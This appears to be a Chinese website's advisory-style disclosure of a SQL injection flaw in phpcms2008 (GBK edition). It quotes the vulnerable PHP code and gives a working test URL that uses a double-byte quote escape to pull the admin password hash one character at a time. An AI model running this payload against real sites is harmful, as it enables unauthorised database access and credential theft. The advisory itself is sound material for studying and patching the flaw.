官方首页
 计算机科学与技术
 湖畔文学
 星之传说
 蓝色湖畔桃园
 湖畔艺术
 湖畔科技
 本站留言
热门关键字:    dreamlandcn.com    蓝色湖畔
 >>相关文章
·Access注射点读取MSSQ
·使用委托实现用户控件与父页面的
·给web用户控件自定义后台事件
·phpcms2008GBK双字
·“网银窃贼”已能突破银行U盾入
·基于Cache的隐藏文件(和注
·找asp木马后门,写asp木马
·清华集采办公软件增加国产永中O
·苹果App Store退款规定
·全球10大黑客攻击源:美国居首
 >>点击排行TOP10
·多种排序算法,多种语言讲解(前言)
·多种排序算法,多种语言讲解(简单选
·【其它欣赏】少儿不宜的设计
·QQ空间代码 最新代码 9月最新可
·c#网络应用编程基础 第5章 Wi
·多种排序算法,多种语言讲解(冒泡排
·c#网络应用编程基础 第5章 Wi
·多种排序算法,多种语言讲解(堆排序
·多种排序算法,多种语言讲解(快速排
·多种排序算法,多种语言讲解(树形选
·QQ空间免费代码 小窝模式免费导航
·VC中使用GetModuleFil
·多种排序算法,多种语言讲解(希尔排
·多种排序算法,多种语言讲解(交换排
·如何使用EasyRecovery找
 
 当前位置:网站首页 > 计算机科学与技术 > 网页技术 > 网络安全 > 浏览正文
phpcms2008GBK双字节编码0day
作者:佚名    来源:本站原创    点击数:   更新时间:2009年03月31 【字体:

作者:幻泉[B.S.N]

受影响程序: phpcms2008 gbk

漏洞文件:ask/search_ajax.php

漏洞等级:高
漏洞说明:
/ask/search_ajax.php

PHP代码
  1. if($q)   
  2. {   
  3. $where = " title LIKE '%$q%' AND status = 5";//没做过滤直接感染了$where   
  4. }   
  5. else  
  6. {   
  7. exit('null');   
  8. }   
  9. $infos = $ask->listinfo($where, 'askid DESC', '', 10);  


/ask/include/answer.class.php

PHP代码
  1. function listinfo($where = '', $order = '', $page = 1, $pagesize = 50)   
  2. {   
  3. if($where) $where = " WHERE $where";   
  4. if($order) $order = " ORDER BY $order";   
  5. $page = max(intval($page), 1);   
  6. $offset = $pagesize*($page-1);   
  7. $limit = " LIMIT $offset, $pagesize";   
  8. $r = $this->db->get_one("SELECT count(*) as number FROM $this->table_posts $where");   
  9. $number = $r['number'];   
  10. $this->pages = pages($number, $page, $pagesize);   
  11. $array = array();   
  12. $i = 1;   
  13. $result = $this->db->query("SELECT * FROM $this->table_posts $where $order $limit");   
  14. while($r = $this->db->fetch_array($result))   
  15. {   
  16. $r['orderid'] = $i;   
  17. $array[] = $r;   
  18. $i++;   
  19. }   
  20. $this->number = $this->db->num_rows($result);   
  21. $this->db->free_result($result);   
  22. return $array;   
  23. }  

测试方法:
/ask/search_ajax.php?q=s%D5'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23

Tags:dreamlandcn.com
Google
关于我们 | 服务指南 | 著作权与商标声明 | 法律声明 | 服务条款 | 隐私声明 | 诚征英才  | 友情链接
Powered by ACTCMS 2.0
Copyrights©2008-2009 蓝色湖畔 www.dreamlandcn.comAll Rights Reserved. 滇ICP备05000680号